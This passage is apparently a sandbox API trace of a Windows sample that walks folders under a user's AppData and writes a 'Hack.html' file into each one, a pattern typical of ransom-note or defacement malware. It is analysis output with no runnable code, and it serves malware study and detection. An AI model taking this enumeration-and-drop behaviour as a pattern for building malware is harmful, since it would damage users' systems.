lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\", lpFilePart=0x0) returned 0x8b [0072.010] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.010] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.010] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.010] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.010] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.011] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\Hack.html", lpFilePart=0x0) returned 0x94 [0072.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0072.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.012] GetFileType (hFile=0x174) returned 0x1 [0072.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0072.012] GetFileType (hFile=0x174) returned 0x1 [0072.012] WriteFile (in: hFile=0x174, lpBuffer=0x26e63b4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26e63b4*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0072.013] CloseHandle (hObject=0x174) returned 1 [0072.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.014] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpFilePart=0x0) returned 0x85 [0072.014] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\", lpFilePart=0x0) returned 0x86 [0072.014] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.017] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.017] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.017] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.017] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.017] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.017] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.018] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.018] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.018] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.019] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpFilePart=0x0) returned 0x85 [0072.019] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\", lpFilePart=0x0) returned 0x86 [0072.019] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.020] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.020] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.020] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.021] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.021] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.021] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.021] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.021] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.021] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.022] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Hack.html", lpFilePart=0x0) returned 0x8f [0072.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0072.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.024] GetFileType (hFile=0x174) returned 0x1 [0072.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0072.024] GetFileType (hFile=0x174) returned 0x1 [0072.024] WriteFile (in: hFile=0x174, lpBuffer=0x26eda18*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26eda18*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0072.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests", lpFilePart=0x0) returned 0x58 [0072.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\", lpFilePart=0x0) returned 0x59 [0072.026] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.034] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.034] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.034] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.034] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.035] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.035] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.035] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.036] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests", lpFilePart=0x0) returned 0x58 [0072.036] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\", lpFilePart=0x0) returned 0x59 [0072.036] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.037] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.037] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.037] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.038] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.038] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.038] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.038] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.039] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\Hack.html", lpFilePart=0x0) returned 0x62 [0072.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0072.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.040] GetFileType (hFile=0x174) returned 0x1 [0072.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0072.041] GetFileType (hFile=0x174) returned 0x1 [0072.041] WriteFile (in: hFile=0x174, lpBuffer=0x26f3bf0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26f3bf0*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0072.042] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\Hack.html", lpFilePart=0x0) returned 0x58 [0072.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0072.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.042] GetFileType (hFile=0x174) returned 0x1 [0072.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0072.042] GetFileType (hFile=0x174) returned 0x1 [0072.043] WriteFile (in: hFile=0x174, lpBuffer=0x26f6458*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26f6458*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0072.044] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\Hack.html", lpFilePart=0x0) returned 0x4b [0072.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0072.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.045] GetFileType (hFile=0x174) returned 0x1 [0072.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0072.045] GetFileType (hFile=0x174) returned 0x1 [0072.045] WriteFile (in: hFile=0x174, lpBuffer=0x26f8c88*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x26f8c88*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0072.047] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Hack.html", lpFilePart=0x0) returned 0x3e [0072.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0072.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.047] GetFileType (hFile=0x174) returned 0x1 [0072.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0072.047] GetFileType (hFile=0x174) returned 0x1 [0072.047] WriteFile (in: hFile=0x174, lpBuffer=0x26fb488*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26fb488*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0072.048] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\Hack.html", lpFilePart=0x0) returned 0x3a [0072.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0072.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.049] GetFileType (hFile=0x174) returned 0x1 [0072.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0072.049] GetFileType (hFile=0x174) returned 0x1 [0072.049] WriteFile (in: hFile=0x174, lpBuffer=0x26fdc78*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x26fdc78*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0072.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0072.050] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment", lpFilePart=0x0) returned 0x36 [0072.050] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\", lpFilePart=0x0) returned 0x37 [0072.050] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1a8 [0072.051] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0072.051] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0072.051] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0072.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0072.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0072.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment", lpFilePart=0x0) returned 0x36 [0072.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\", lpFilePart=0x0) returned 0x37 [0072.052] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1a8 [0072.052] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0072.052] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0072.052] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0072.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0072.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\Hack.html", lpFilePart=0x0) returned 0x40 [0072.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0072.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\deployment\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.053] GetFileType (hFile=0x174) returned 0x1 [0072.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0072.053] GetFileType (hFile=0x174) returned 0x1 [0072.053] WriteFile (in: hFile=0x174, lpBuffer=0x27019c4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27019c4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0072.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0072.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x32 [0072.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\", lpFilePart=0x0) returned 0x33 [0072.054] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1a8 [0072.055] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0072.055] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0072.055] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 